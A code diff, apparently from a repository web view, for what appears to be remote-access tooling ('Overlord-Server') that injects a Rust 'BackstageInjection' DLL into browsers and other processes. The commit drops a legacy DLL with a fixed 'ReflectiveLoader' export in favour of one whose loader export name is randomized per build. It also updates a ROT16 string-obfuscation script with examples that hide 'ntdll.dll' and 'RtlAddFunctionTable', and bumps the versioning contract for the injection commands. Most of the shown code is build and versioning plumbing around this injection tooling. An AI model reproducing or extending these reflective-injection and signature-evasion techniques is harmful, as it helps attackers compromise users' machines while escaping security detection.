try {
|
||||||
const st = statSync(dllPath);
|
const st = statSync(dllPath);
|
||||||
const bytes = new Uint8Array(readFileSync(dllPath));
|
const bytes = new Uint8Array(readFileSync(dllPath));
|
||||||
dllCache.set(artifactVersion, { bytes, path: dllPath, mtimeMs: st.mtimeMs });
|
dllCache = { bytes, path: dllPath, mtimeMs: st.mtimeMs };
|
||||||
logger.info(`[backstage] loaded v${artifactVersion} injection DLL from ${dllPath} (${bytes.length} bytes)`);
|
logger.info(`[backstage] loaded injection DLL from ${dllPath} (${bytes.length} bytes)`);
|
||||||
return bytes;
|
return bytes;
|
||||||
} catch {
|
} catch {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
logger.warn(`[backstage] v${artifactVersion} injection DLL not found. Checked: ${candidates.join(", ")}`);
|
logger.warn(`[backstage] injection DLL not found. Checked: ${candidates.join(", ")}`);
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
@@ -6,7 +6,6 @@ import { ensureToolchain, getToolchainRoot } from "./toolchain-manager";
|
|||||||
import { resolveRuntimeRoot } from "./runtime-paths";
|
import { resolveRuntimeRoot } from "./runtime-paths";
|
||||||
import {
|
import {
|
||||||
BACKSTAGE_DLL_NAME,
|
BACKSTAGE_DLL_NAME,
|
||||||
BACKSTAGE_LEGACY_DLL_NAME,
|
|
||||||
backstageDllOutputPath,
|
backstageDllOutputPath,
|
||||||
invalidateBackstageDll,
|
invalidateBackstageDll,
|
||||||
} from "./backstage-dll-cache";
|
} from "./backstage-dll-cache";
|
||||||
@@ -170,8 +169,7 @@ export async function rebuildBackstageDll(
|
|||||||
_building = true;
|
_building = true;
|
||||||
_lastBuild = { startedAt: Date.now(), finishedAt: null, ok: null, message: "Build started." };
|
_lastBuild = { startedAt: Date.now(), finishedAt: null, ok: null, message: "Build started." };
|
||||||
|
|
||||||
const outPath = backstageDllOutputPath(2);
|
const outPath = backstageDllOutputPath();
|
||||||
const legacyOutPath = backstageDllOutputPath(1);
|
|
||||||
const outDir = path.dirname(outPath);
|
const outDir = path.dirname(outPath);
|
||||||
|
|
||||||
try {
|
try {
|
||||||
@@ -207,7 +205,6 @@ export async function rebuildBackstageDll(
|
|||||||
fullEnv.PATH = [...binDirs, fullEnv.PATH || ""].filter(Boolean).join(path.delimiter);
|
fullEnv.PATH = [...binDirs, fullEnv.PATH || ""].filter(Boolean).join(path.delimiter);
|
||||||
}
|
}
|
||||||
Object.assign(fullEnv, env);
|
Object.assign(fullEnv, env);
|
||||||
delete fullEnv.BACKSTAGE_LOADER_EXPORT;
|
|
||||||
delete fullEnv.BACKSTAGE_LOADER_SEED;
|
delete fullEnv.BACKSTAGE_LOADER_SEED;
|
||||||
|
|
||||||
const streamLines = async (stream: ReadableStream<Uint8Array> | null) => {
|
const streamLines = async (stream: ReadableStream<Uint8Array> | null) => {
|
||||||
@@ -255,7 +252,6 @@ export async function rebuildBackstageDll(
|
|||||||
};
|
};
|
||||||
|
|
||||||
await buildArtifact({ BACKSTAGE_LOADER_SEED: String(Date.now()) }, outPath);
|
await buildArtifact({ BACKSTAGE_LOADER_SEED: String(Date.now()) }, outPath);
|
||||||
await buildArtifact({ BACKSTAGE_LOADER_EXPORT: "ReflectiveLoader" }, legacyOutPath);
|
|
||||||
|
|
||||||
const exportName = readPeExportName(outPath);
|
const exportName = readPeExportName(outPath);
|
||||||
invalidateBackstageDll();
|
invalidateBackstageDll();
|
||||||
@@ -264,7 +260,7 @@ export async function rebuildBackstageDll(
|
|||||||
startedAt: _lastBuild.startedAt,
|
startedAt: _lastBuild.startedAt,
|
||||||
finishedAt: Date.now(),
|
finishedAt: Date.now(),
|
||||||
ok: true,
|
ok: true,
|
||||||
message: `DLLs rebuilt: ${BACKSTAGE_DLL_NAME} (${fs.statSync(outPath).size} bytes, export: ${exportName ?? "unknown"}) and ${BACKSTAGE_LEGACY_DLL_NAME} (${fs.statSync(legacyOutPath).size} bytes, export: ReflectiveLoader).`,
|
message: `DLL rebuilt: ${BACKSTAGE_DLL_NAME} (${fs.statSync(outPath).size} bytes, export: ${exportName ?? "unknown"}).`,
|
||||||
};
|
};
|
||||||
send({
|
send({
|
||||||
type: "output",
|
type: "output",
|
||||||
|
|||||||
@@ -40,7 +40,10 @@ function getVersionedInjectionDll(
|
|||||||
): Uint8Array | null {
|
): Uint8Array | null {
|
||||||
if (!target) return null;
|
if (!target) return null;
|
||||||
try {
|
try {
|
||||||
return getInjectionDllBytes(requireCommandVersion(target, commandType));
|
// Gate on command negotiation so clients that cannot run the command are
|
||||||
|
// rejected, then serve the single randomized-export injection DLL.
|
||||||
|
requireCommandVersion(target, commandType);
|
||||||
|
return getInjectionDllBytes();
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
logger.warn(`[backstage] cannot negotiate ${commandType}: ${error instanceof Error ? error.message : String(error)}`);
|
logger.warn(`[backstage] cannot negotiate ${commandType}: ${error instanceof Error ? error.message : String(error)}`);
|
||||||
return null;
|
return null;
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"$schema": "./wire-contract.schema.json",
|
"$schema": "./wire-contract.schema.json",
|
||||||
"schemaVersion": 1,
|
"schemaVersion": 2,
|
||||||
"protocolVersion": 1,
|
"protocolVersion": 1,
|
||||||
"encoding": "messagepack",
|
"encoding": "messagepack",
|
||||||
"compatibility": "additive",
|
"compatibility": "additive",
|
||||||
@@ -8,32 +8,50 @@
|
|||||||
"defaultVersion": 1,
|
"defaultVersion": 1,
|
||||||
"overrides": {
|
"overrides": {
|
||||||
"backstage_start_browser_injected": {
|
"backstage_start_browser_injected": {
|
||||||
"latestVersion": 2,
|
"latestVersion": 3,
|
||||||
|
"minVersion": 2,
|
||||||
"changes": {
|
"changes": {
|
||||||
"2": {
|
"2": {
|
||||||
"breaking": true,
|
"breaking": true,
|
||||||
"summary": "Use a Backstage injection DLL with a randomized reflective-loader export",
|
"summary": "Use a Backstage injection DLL with a randomized reflective-loader export",
|
||||||
"migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits"
|
"migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits"
|
||||||
|
},
|
||||||
|
"3": {
|
||||||
|
"breaking": true,
|
||||||
|
"summary": "Remove the legacy fixed-export injection DLL; only the randomized-export Rust DLL is served",
|
||||||
|
"migration": "v2 payloads are unchanged and remain valid. v1 is no longer supported: clients that require a DLL exporting the fixed ReflectiveLoader name are rejected at negotiation and must be upgraded to accept a DLL whose loader export is x followed by six lowercase hexadecimal digits"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"backstage_start_chrome_injected": {
|
"backstage_start_chrome_injected": {
|
||||||
"latestVersion": 2,
|
"latestVersion": 3,
|
||||||
|
"minVersion": 2,
|
||||||
"changes": {
|
"changes": {
|
||||||
"2": {
|
"2": {
|
||||||
"breaking": true,
|
"breaking": true,
|
||||||
"summary": "Use a Backstage injection DLL with a randomized reflective-loader export",
|
"summary": "Use a Backstage injection DLL with a randomized reflective-loader export",
|
||||||
"migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits"
|
"migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits"
|
||||||
|
},
|
||||||
|
"3": {
|
||||||
|
"breaking": true,
|
||||||
|
"summary": "Remove the legacy fixed-export injection DLL; only the randomized-export Rust DLL is served",
|
||||||
|
"migration": "v2 payloads are unchanged and remain valid. v1 is no longer supported: clients that require a DLL exporting the fixed ReflectiveLoader name are rejected at negotiation and must be upgraded to accept a DLL whose loader export is x followed by six lowercase hexadecimal digits"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"backstage_start_process_injected": {
|
"backstage_start_process_injected": {
|
||||||
"latestVersion": 2,
|
"latestVersion": 3,
|
||||||
|
"minVersion": 2,
|
||||||
"changes": {
|
"changes": {
|
||||||
"2": {
|
"2": {
|
||||||
"breaking": true,
|
"breaking": true,
|
||||||
"summary": "Use a Backstage injection DLL with a randomized reflective-loader export",
|
"summary": "Use a Backstage injection DLL with a randomized reflective-loader export",
|
||||||
"migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits"
|
"migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits"
|
||||||
|
},
|
||||||
|
"3": {
|
||||||
|
"breaking": true,
|
||||||
|
"summary": "Remove the legacy fixed-export injection DLL; only the randomized-export Rust DLL is served",
|
||||||
|
"migration": "v2 payloads are unchanged and remain valid. v1 is no longer supported: clients that require a DLL exporting the fixed ReflectiveLoader name are rejected at negotiation and must be upgraded to accept a DLL whose loader export is x followed by six lowercase hexadecimal digits"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -35,6 +35,7 @@
|
|||||||
"required": ["latestVersion", "changes"],
|
"required": ["latestVersion", "changes"],
|
||||||
"properties": {
|
"properties": {
|
||||||
"latestVersion": { "type": "integer", "minimum": 2 },
|
"latestVersion": { "type": "integer", "minimum": 2 },
|
||||||
|
"minVersion": { "type": "integer", "minimum": 1 },
|
||||||
"changes": {
|
"changes": {
|
||||||
"type": "object",
|
"type": "object",
|
||||||
"patternProperties": {
|
"patternProperties": {
|
||||||
|
|||||||
@@ -13,7 +13,6 @@ set "CRATE_DIR=%ROOT%BackstageInjection-Rust"
|
|||||||
set "OUT_DIR=%ROOT%Overlord-Server\dist-clients"
|
set "OUT_DIR=%ROOT%Overlord-Server\dist-clients"
|
||||||
set "TARGET=x86_64-pc-windows-gnu"
|
set "TARGET=x86_64-pc-windows-gnu"
|
||||||
set "DLL_NAME=BackstageInjection.x64.dll"
|
set "DLL_NAME=BackstageInjection.x64.dll"
|
||||||
set "LEGACY_DLL_NAME=BackstageInjection.legacy.x64.dll"
|
|
||||||
|
|
||||||
where cargo >nul 2>&1
|
where cargo >nul 2>&1
|
||||||
if %ERRORLEVEL% neq 0 (
|
if %ERRORLEVEL% neq 0 (
|
||||||
@@ -24,7 +23,6 @@ if %ERRORLEVEL% neq 0 (
|
|||||||
if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
|
if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
|
||||||
|
|
||||||
echo Building randomized BackstageInjection DLL for %TARGET% ...
|
echo Building randomized BackstageInjection DLL for %TARGET% ...
|
||||||
set "BACKSTAGE_LOADER_EXPORT="
|
|
||||||
set "BACKSTAGE_LOADER_SEED=%RANDOM%%RANDOM%%RANDOM%"
|
set "BACKSTAGE_LOADER_SEED=%RANDOM%%RANDOM%%RANDOM%"
|
||||||
cargo build --release --target %TARGET% --manifest-path "%CRATE_DIR%\Cargo.toml"
|
cargo build --release --target %TARGET% --manifest-path "%CRATE_DIR%\Cargo.toml"
|
||||||
if %ERRORLEVEL% neq 0 goto :error
|
if %ERRORLEVEL% neq 0 goto :error
|
||||||
@@ -35,17 +33,8 @@ if not exist "%SRC_DLL%" goto :error
|
|||||||
copy /y "%SRC_DLL%" "%OUT_DIR%\%DLL_NAME%" >nul
|
copy /y "%SRC_DLL%" "%OUT_DIR%\%DLL_NAME%" >nul
|
||||||
if %ERRORLEVEL% neq 0 goto :error
|
if %ERRORLEVEL% neq 0 goto :error
|
||||||
|
|
||||||
echo Building legacy BackstageInjection DLL for %TARGET% ...
|
|
||||||
set "BACKSTAGE_LOADER_SEED="
|
|
||||||
set "BACKSTAGE_LOADER_EXPORT=ReflectiveLoader"
|
|
||||||
cargo build --release --target %TARGET% --manifest-path "%CRATE_DIR%\Cargo.toml"
|
|
||||||
if %ERRORLEVEL% neq 0 goto :error
|
|
||||||
copy /y "%SRC_DLL%" "%OUT_DIR%\%LEGACY_DLL_NAME%" >nul
|
|
||||||
if %ERRORLEVEL% neq 0 goto :error
|
|
||||||
|
|
||||||
echo.
|
echo.
|
||||||
echo Built: %OUT_DIR%\%DLL_NAME%
|
echo Built: %OUT_DIR%\%DLL_NAME%
|
||||||
echo Built: %OUT_DIR%\%LEGACY_DLL_NAME%
|
|
||||||
exit /b 0
|
exit /b 0
|
||||||
|
|
||||||
:error
|
:error
|
||||||
|
|||||||
@@ -16,7 +16,6 @@ CRATE_DIR="${BACKSTAGE_CRATE_DIR:-BackstageInjection-Rust}"
|
|||||||
OUT_DIR="${BACKSTAGE_OUT_DIR:-Overlord-Server/dist-clients}"
|
OUT_DIR="${BACKSTAGE_OUT_DIR:-Overlord-Server/dist-clients}"
|
||||||
TARGET="x86_64-pc-windows-gnu"
|
TARGET="x86_64-pc-windows-gnu"
|
||||||
DLL_NAME="BackstageInjection.x64.dll"
|
DLL_NAME="BackstageInjection.x64.dll"
|
||||||
LEGACY_DLL_NAME="BackstageInjection.legacy.x64.dll"
|
|
||||||
|
|
||||||
if ! command -v cargo >/dev/null 2>&1; then
|
if ! command -v cargo >/dev/null 2>&1; then
|
||||||
echo "ERROR: cargo not found. Install a Rust toolchain (rustup)."
|
echo "ERROR: cargo not found. Install a Rust toolchain (rustup)."
|
||||||
@@ -38,7 +37,7 @@ fi
|
|||||||
mkdir -p "$OUT_DIR"
|
mkdir -p "$OUT_DIR"
|
||||||
|
|
||||||
echo "Building randomized Rust BackstageInjection DLL ($TARGET) ..."
|
echo "Building randomized Rust BackstageInjection DLL ($TARGET) ..."
|
||||||
env -u BACKSTAGE_LOADER_EXPORT BACKSTAGE_LOADER_SEED="${BACKSTAGE_FRESH:-$(date +%s%N)}" \
|
BACKSTAGE_LOADER_SEED="${BACKSTAGE_FRESH:-$(date +%s%N)}" \
|
||||||
cargo build --release --target "$TARGET" --manifest-path "$CRATE_DIR/Cargo.toml"
|
cargo build --release --target "$TARGET" --manifest-path "$CRATE_DIR/Cargo.toml"
|
||||||
|
|
||||||
SRC_DLL="$CRATE_DIR/target/$TARGET/release/BackstageInjection.dll"
|
SRC_DLL="$CRATE_DIR/target/$TARGET/release/BackstageInjection.dll"
|
||||||
@@ -51,11 +50,4 @@ cp -f "$SRC_DLL" "$OUT_DIR/$DLL_NAME"
|
|||||||
echo "Built: $OUT_DIR/$DLL_NAME"
|
echo "Built: $OUT_DIR/$DLL_NAME"
|
||||||
ls -la "$OUT_DIR/$DLL_NAME"
|
ls -la "$OUT_DIR/$DLL_NAME"
|
||||||
|
|
||||||
echo "Building legacy Rust BackstageInjection DLL ($TARGET) ..."
|
|
||||||
BACKSTAGE_LOADER_EXPORT=ReflectiveLoader \
|
|
||||||
cargo build --release --target "$TARGET" --manifest-path "$CRATE_DIR/Cargo.toml"
|
|
||||||
cp -f "$SRC_DLL" "$OUT_DIR/$LEGACY_DLL_NAME"
|
|
||||||
echo "Built: $OUT_DIR/$LEGACY_DLL_NAME"
|
|
||||||
ls -la "$OUT_DIR/$LEGACY_DLL_NAME"
|
|
||||||
|
|
||||||
echo "Done."
|
echo "Done."
|
||||||
@@ -10,6 +10,7 @@ type Contract = {
|
|||||||
defaultVersion: 1;
|
defaultVersion: 1;
|
||||||
overrides: Record<string, {
|
overrides: Record<string, {
|
||||||
latestVersion: number;
|
latestVersion: number;
|
||||||
|
minVersion?: number;
|
||||||
changes: Record<string, {
|
changes: Record<string, {
|
||||||
breaking: true;
|
breaking: true;
|
||||||
summary: string;
|
summary: string;
|
||||||
@@ -62,6 +63,14 @@ for (const [command, override] of Object.entries(contract.commandVersioning.over
|
|||||||
if (!Number.isInteger(override.latestVersion) || override.latestVersion < 2) {
|
if (!Number.isInteger(override.latestVersion) || override.latestVersion < 2) {
|
||||||
throw new Error(`latestVersion for ${command} must be at least 2`);
|
throw new Error(`latestVersion for ${command} must be at least 2`);
|
||||||
}
|
}
|
||||||
|
if (
|
||||||
|
override.minVersion !== undefined &&
|
||||||
|
(!Number.isInteger(override.minVersion) ||
|
||||||
|
override.minVersion < 1 ||
|
||||||
|
override.minVersion > override.latestVersion)
|
||||||
|
) {
|
||||||
|
throw new Error(`minVersion for ${command} must be an integer between 1 and latestVersion`);
|
||||||
|
}
|
||||||
for (let version = 2; version <= override.latestVersion; version += 1) {
|
for (let version = 2; version <= override.latestVersion; version += 1) {
|
||||||
const change = override.changes[String(version)];
|
const change = override.changes[String(version)];
|
||||||
if (
|
if (
|
||||||
@@ -112,7 +121,7 @@ const commandVersionSupport = Object.fromEntries(
|
|||||||
commands.map((command) => [
|
commands.map((command) => [
|
||||||
command,
|
command,
|
||||||
{
|
{
|
||||||
min: 1,
|
min: contract.commandVersioning.overrides[command]?.minVersion ?? 1,
|
||||||
max: contract.commandVersioning.overrides[command]?.latestVersion ?? 1,
|
max: contract.commandVersioning.overrides[command]?.latestVersion ?? 1,
|
||||||
},
|
},
|
||||||
]),
|
]),
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
Generate _OBF_CHR sequences for compile-time string obfuscation (ROT16).
|
Generate _OBF_CHR sequences for compile-time string obfuscation (ROT16).
|
||||||
|
|
||||||
Usage:
|
Usage:
|
||||||
python scripts/obfuscate-strings.py ReflectiveLoader
|
python scripts/obfuscate-strings.py "ntdll.dll"
|
||||||
python scripts/obfuscate-strings.py "ntdll.dll" "RtlAddFunctionTable"
|
python scripts/obfuscate-strings.py "ntdll.dll" "RtlAddFunctionTable"
|
||||||
|
|
||||||
Outputs a C array initializer using _OBF_CHR() for each character.
|
Outputs a C array initializer using _OBF_CHR() for each character.
|
||||||
@@ -23,7 +23,7 @@ def obfuscate(s):
|
|||||||
def main():
|
def main():
|
||||||
if len(sys.argv) < 2:
|
if len(sys.argv) < 2:
|
||||||
print("Usage: python obfuscate-strings.py STRING [STRING...]", file=sys.stderr)
|
print("Usage: python obfuscate-strings.py STRING [STRING...]", file=sys.stderr)
|
||||||
print("Example: python obfuscate-strings.py ReflectiveLoader", file=sys.stderr)
|
print("Example: python scripts/obfuscate-strings.py \"ntdll.dll\"", file=sys.stderr)
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
for arg in sys.argv[1:]:
|
for arg in sys.argv[1:]:
|
||||||
|
|||||||
Reference in New Issue
Block a user